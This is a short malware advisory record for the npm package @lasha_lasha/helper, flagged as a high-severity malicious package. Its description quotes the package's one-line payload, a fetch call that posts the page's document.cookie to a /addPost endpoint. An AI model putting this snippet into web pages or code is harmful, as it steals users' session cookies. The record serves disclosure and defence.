cvelo
P2 · HighMalware

Malicious code in @lasha_lasha/helper (npm)

  • MAL-2026-20191

Description

The package's main entry contains a browser-targeted script that reads document.cookie and POSTs it with an 'EXFIL:' prefix to the relative URL /addPost (fetch('/addPost', { method:'POST', body: JSON.stringify({content: 'EXFIL:' + document.cookie}) })). The code has no legitimate library function; its only behavior is to harvest session cookies from whatever page it runs in and send them to a same-origin collector endpoint. Any consumer who bundles or injects this module into a web page would cause their users' session cookies to be exfiltrated.

Text from the OSV record.

Affected

  • @lasha_lasha/helpernpm

    • No versions listed

Timeline

  1. Published

Related news

No article from the followed outlets names this vulnerability.